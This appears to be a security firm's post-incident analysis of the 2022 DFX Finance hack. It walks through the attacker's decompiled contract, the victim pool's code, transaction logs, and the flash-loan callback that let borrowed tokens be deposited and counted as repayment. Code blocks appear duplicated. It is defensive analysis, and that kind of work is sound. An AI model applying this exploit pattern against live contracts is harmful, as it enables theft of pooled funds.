Analysis2022-11-19

From the Source: Analysis of DFX Finance Attack

6 Minutes Read

BradMoon

BradMoon

Security Operation / Audit

Summary

An analysis of the DFX Finance attack, focusing on the smart contract code. The attacker exploited a vulnerability in the Curve contract that allowed them to re-enter the deposit function and deposit borrowed tokens, which were then treated as repayment. The attack demonstrates the importance of carefully evaluating the impact of each callback and checking dependent state variables to avoid similar problems.

Information

attacker address:0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067

transaction hash:0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

exploit smart contract:0x6cfa86a352339e766ff1ca119c8c40824f41f22d

parameters of this transaction and internal transaction:https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

tenderly: https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

a packet of code and Chinese passage:https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq

How to exploit

See the entire decompiled code: https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1

First, the attacker invoked the exploit contract that sets preventive requirements to avert bots front-run his transaction. The decompiled code is simplified, and we ignore some check statements.

1function 0xb727281f(uint256 varg0, uint256 varg1) public payable {
2 require(4 + (msg.data.length — 4) — 4 >= 64);
3 require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
4 stor_5 = varg0;
5 stor_9 = varg1;
6 v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
7 RETURNDATACOPY(v1, 0, RETURNDATASIZE());
8 MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
9 if (1 < MEM[v1 + MEM[v1 + 32]]) {
10 if (0 < MEM[v1 + MEM[v1 + 32]]) {
11 0x34d3();
12 exit;
13 }
14 }
15 revert(Panic(50));
16}
1function 0xb727281f(uint256 varg0, uint256 varg1) public payable {
2 require(4 + (msg.data.length — 4) — 4 >= 64);
3 require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
4 stor_5 = varg0;
5 stor_9 = varg1;
6 v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
7 RETURNDATACOPY(v1, 0, RETURNDATASIZE());
8 MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
9 if (1 < MEM[v1 + MEM[v1 + 32]]) {
10 if (0 < MEM[v1 + MEM[v1 + 32]]) {
11 0x34d3();
12 exit;
13 }
14 }
15 revert(Panic(50));
16}

The statement v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas); invokes viewDeposit function, which locates at Curve/contracts/Curve.sol#550

1/// @notice view deposits and curves minted a given deposit would return
2/// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the
3/// prevailing proportions of the numeraire assets of the pool
4/// @return (the amount of curves you receive in return for your deposit,
5/// the amount deposited for each numeraire)
6function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) {
7 // curvesToMint_, depositsToMake_
8 return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);
9}
1/// @notice view deposits and curves minted a given deposit would return
2/// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the
3/// prevailing proportions of the numeraire assets of the pool
4/// @return (the amount of curves you receive in return for your deposit,
5/// the amount deposited for each numeraire)
6function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) {
7 // curvesToMint_, depositsToMake_
8 return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);
9}

roportionalLiquidity.viewProportionalDeposit is one of the functions in the library contract at Curve/contracts/ProportionalLiquidity.sol#78 whose first parameter curve is a complex struct combining an assortment of curve contract attributes. The second is the planned deposited balance. We skim these details, and the reader needs to see that the purpose of this part is to view how many tokens are exchanged if he deposits another token.

Then, the attacker contract executed the following code after many checks that assure the transaction wound success.

1function 0x34d3() private {
2 v0 = 0x3774(stor_9, stor_7);
3 v1 = 0x37e1(1000, v0);
4 v2 = _SafeSub(v1, stor_7);
5 v3 = 0x3774(stor_9, _uniswapV3FlashCallback);
6 v4 = 0x37e1(1000, v3);
7 v5 = _SafeSub(v4, _uniswapV3FlashCallback);
8 require(stor_0_0_19.code.size);
9 v6 = stor_0_0_19.flash(address(this), v2, v5, ‘0xcallflash’).gas(msg.gas);
10 require(v6); // checks call status, propagates error data on error
11 require(stor_0_0_19.code.size);
12 v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);
13 require(v7); // checks call status, propagates error data on error
14 MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
15 require(MEM[64] + RETURNDATASIZE() — MEM[64] >= 32);
16 0x43bd(v8);
17 require(stor_0_0_19.code.size);
18 v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);
19 require(v9); // checks call status, propagates error data on error
20 return ;
21}
1function 0x34d3() private {
2 v0 = 0x3774(stor_9, stor_7);
3 v1 = 0x37e1(1000, v0);
4 v2 = _SafeSub(v1, stor_7);
5 v3 = 0x3774(stor_9, _uniswapV3FlashCallback);
6 v4 = 0x37e1(1000, v3);
7 v5 = _SafeSub(v4, _uniswapV3FlashCallback);
8 require(stor_0_0_19.code.size);
9 v6 = stor_0_0_19.flash(address(this), v2, v5, ‘0xcallflash’).gas(msg.gas);
10 require(v6); // checks call status, propagates error data on error
11 require(stor_0_0_19.code.size);
12 v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);
13 require(v7); // checks call status, propagates error data on error
14 MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
15 require(MEM[64] + RETURNDATASIZE() — MEM[64] >= 32);
16 0x43bd(v8);
17 require(stor_0_0_19.code.size);
18 v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);
19 require(v9); // checks call status, propagates error data on error
20 return ;
21}

Functions 0x3774 and 0x37e1 dispose with arithmetical operation. we focus the critical step v6 = stor_0_0_19.flash(address(this), v2, v5, ‘0xcallflash’).gas(msg.gas); and the callee is as follows:

1function flash(
2 address recipient,
3 uint256 amount0,
4 uint256 amount1,
5 bytes calldata data
6) external transactable noDelegateCall isNotEmergency {
7 uint256 fee = curve.epsilon.mulu(1e18);
8 require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth');
9 require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/to ken1-zero-liquidity-depth');
10 uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);
11 uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);
12 uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));
13 uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));
14 if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);
15 if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);
16 IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);
17 uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));
18 uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));
19 require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
20 require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');
21 // sub is safe because we know balanceAfter is gt balanceBefore by at least fee
22 uint256 paid0 = balance0After - balance0Before;
23 uint256 paid1 = balance1After - balance1Before;
24 IERC20(derivatives[0]).safeTransfer(owner, paid0);
25 IERC20(derivatives[1]).safeTransfer(owner, paid1);
26 emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
27}
1function flash(
2 address recipient,
3 uint256 amount0,
4 uint256 amount1,
5 bytes calldata data
6) external transactable noDelegateCall isNotEmergency {
7 uint256 fee = curve.epsilon.mulu(1e18);
8 require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth');
9 require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/to ken1-zero-liquidity-depth');
10 uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);
11 uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);
12 uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));
13 uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));
14 if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);
15 if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);
16 IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);
17 uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));
18 uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));
19 require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
20 require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');
21 // sub is safe because we know balanceAfter is gt balanceBefore by at least fee
22 uint256 paid0 = balance0After - balance0Before;
23 uint256 paid1 = balance1After - balance1Before;
24 IERC20(derivatives[0]).safeTransfer(owner, paid0);
25 IERC20(derivatives[1]).safeTransfer(owner, paid1);
26 emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
27}

It is a standard flash loan implementation. What is noteworthy is the line IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); , a callback to the attacker contract whereby it runs the following code( also simplified).

1function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable {
2 v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);
1function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable {
2 v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);

Attacker directly reenter the function deposit, with the specfic parameters deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600) . In the function body, it calls the function of the library contract.

1 /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports
2 /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst
3 /// the numeraire assets of the pool
4 /// @return (the amount of curves you receive in return for your deposit,
5 /// the amount deposited for each numeraire)
6 function deposit(uint256 _deposit, uint256 _deadline)
7 external
8 deadline(_deadline)
9 transactable
10 nonReentrant
11 noDelegateCall
12 notInWhitelistingStage
13 isNotEmergency
14 returns (uint256, uint256[] memory)
15 {
16 // (curvesMinted_, deposits_)
17 return ProportionalLiquidity.proportionalDeposit(curve, _deposit);
18 }
1 /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports
2 /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst
3 /// the numeraire assets of the pool
4 /// @return (the amount of curves you receive in return for your deposit,
5 /// the amount deposited for each numeraire)
6 function deposit(uint256 _deposit, uint256 _deadline)
7 external
8 deadline(_deadline)
9 transactable
10 nonReentrant
11 noDelegateCall
12 notInWhitelistingStage
13 isNotEmergency
14 returns (uint256, uint256[] memory)
15 {
16 // (curvesMinted_, deposits_)
17 return ProportionalLiquidity.proportionalDeposit(curve, _deposit);
18 }
1
2function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit)
3 external
4 returns (uint256 curves_, uint256[] memory)
5{
6 int128 __deposit = _deposit.divu(1e18);
7 uint256 _length = curve.assets.length;
8 uint256[] memory deposits_ = new uint256[](_length);
9 (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);
10 // Needed to calculate liquidity invariant
11 // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve);
12 // No liquidity, oracle sets the ratio
13 if (_oGLiq == 0) {
14 for (uint256 i = 0; i < _length; i++) {
15 // Variable here to avoid stack-too-deep errors
16 int128 _d = __deposit.mul(curve.weights[i]);
17 deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI));
18 }
19 } else {
20 // We already have an existing pool ratio
21 // which must be respected
22 int128 _multiplier = __deposit.div(_oGLiq);
23 uint256 _baseWeight = curve.weights[0].mulu(1e18);
24 uint256 _quoteWeight = curve.weights[1].mulu(1e18);
25 for (uint256 i = 0; i < _length; i++) {
26 deposits_[i] = Assimilators.intakeNumeraireLPRatio(
27 curve.assets[i].addr,
28 _baseWeight,
29 _quoteWeight,
30 _oBals[i].mul(_multiplier).add(ONE_WEI)
31 );
32 }
33 }
34 int128 _totalShells = curve.totalSupply.divu(1e18);
35 int128 _newShells = __deposit;
36 if (_totalShells > 0) {
37 _newShells = __deposit.mul(_totalShells);
38 _newShells = _newShells.div(_oGLiq);
39 }
40 mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));
41 return (curves_, deposits_);
42}
1
2function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit)
3 external
4 returns (uint256 curves_, uint256[] memory)
5{
6 int128 __deposit = _deposit.divu(1e18);
7 uint256 _length = curve.assets.length;
8 uint256[] memory deposits_ = new uint256[](_length);
9 (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);
10 // Needed to calculate liquidity invariant
11 // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve);
12 // No liquidity, oracle sets the ratio
13 if (_oGLiq == 0) {
14 for (uint256 i = 0; i < _length; i++) {
15 // Variable here to avoid stack-too-deep errors
16 int128 _d = __deposit.mul(curve.weights[i]);
17 deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI));
18 }
19 } else {
20 // We already have an existing pool ratio
21 // which must be respected
22 int128 _multiplier = __deposit.div(_oGLiq);
23 uint256 _baseWeight = curve.weights[0].mulu(1e18);
24 uint256 _quoteWeight = curve.weights[1].mulu(1e18);
25 for (uint256 i = 0; i < _length; i++) {
26 deposits_[i] = Assimilators.intakeNumeraireLPRatio(
27 curve.assets[i].addr,
28 _baseWeight,
29 _quoteWeight,
30 _oBals[i].mul(_multiplier).add(ONE_WEI)
31 );
32 }
33 }
34 int128 _totalShells = curve.totalSupply.divu(1e18);
35 int128 _newShells = __deposit;
36 if (_totalShells > 0) {
37 _newShells = __deposit.mul(_totalShells);
38 _newShells = _newShells.div(_oGLiq);
39 }
40 mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));
41 return (curves_, deposits_);
42}

The function getGrossLiquidityAndBalancesForDeposit(curve) calculates previous gross liquidity and the summation of assets the contract control. The attacker contract deposit tokens it borrowed from flash loan after calculating the expected deposit balance and LP exchange ratio.

Here are two logs when borrowing tokens.{“from”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“to”:”0x46161158b1947d9149e066d6d31af1283b2d377c”“value”:”2325581395325581"}

{“from”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“to”:”0x46161158b1947d9149e066d6d31af1283b2d377c”“value”:”100000000000"}

Subsequently, the curve funding pool mints token to the attacker contract.{“from”:”0x0000000000000000000000000000000000000000"“to”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“value”:”387023837944937266146579"}

The balances of flash loan contract assets before and after the callback of it:balance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492cbalance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac

balance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1dbalance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac

paid0 = 0xcb0ccb7c0f1paid1 = 0x23c34600

The return tokens are starkly minimal compared to the following borrowed tokens. It demonstrates that the attacker got a large of money from nearly nothing. It retained two tokens, respectively, 0x829b9038770ab and 0x1700f05c00. Repeated the attack process, the attacker exhausted the funding pool.{“from”:”0x46161158b1947d9149e066d6d31af1283b2d377c”“to”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“value”:”0x83669d03f319c”}

{“from”:”0x46161158b1947d9149e066d6d31af1283b2d377c”“to”:”0x6cfa86a352339e766ff1ca119c8c40824f41f22d”“value”:”0x1724b3a200"}

Summary: the procedure of this hack event is relevantly simple. The curve contract should not allow reentrance because it did not consider the balance change from its other functions. Generally, carefully evaluate the impact of each callback and check the dependent state variable, whether or not tempered can help avoid such a problem. It is obscure that the flash loan contract fetches balances through a proxy contract and calculates the exchange rate through its ABI-encoded parameters executed by another contract, resulting in a complicated call and return.

The core of the attack is that in the callback function of the curve flash loan, the attacker deposits the borrowed token into the curve contract. Since the curve contract obtains the balance through balance(curve), the deposited token is also regarded as repayment.

Share this article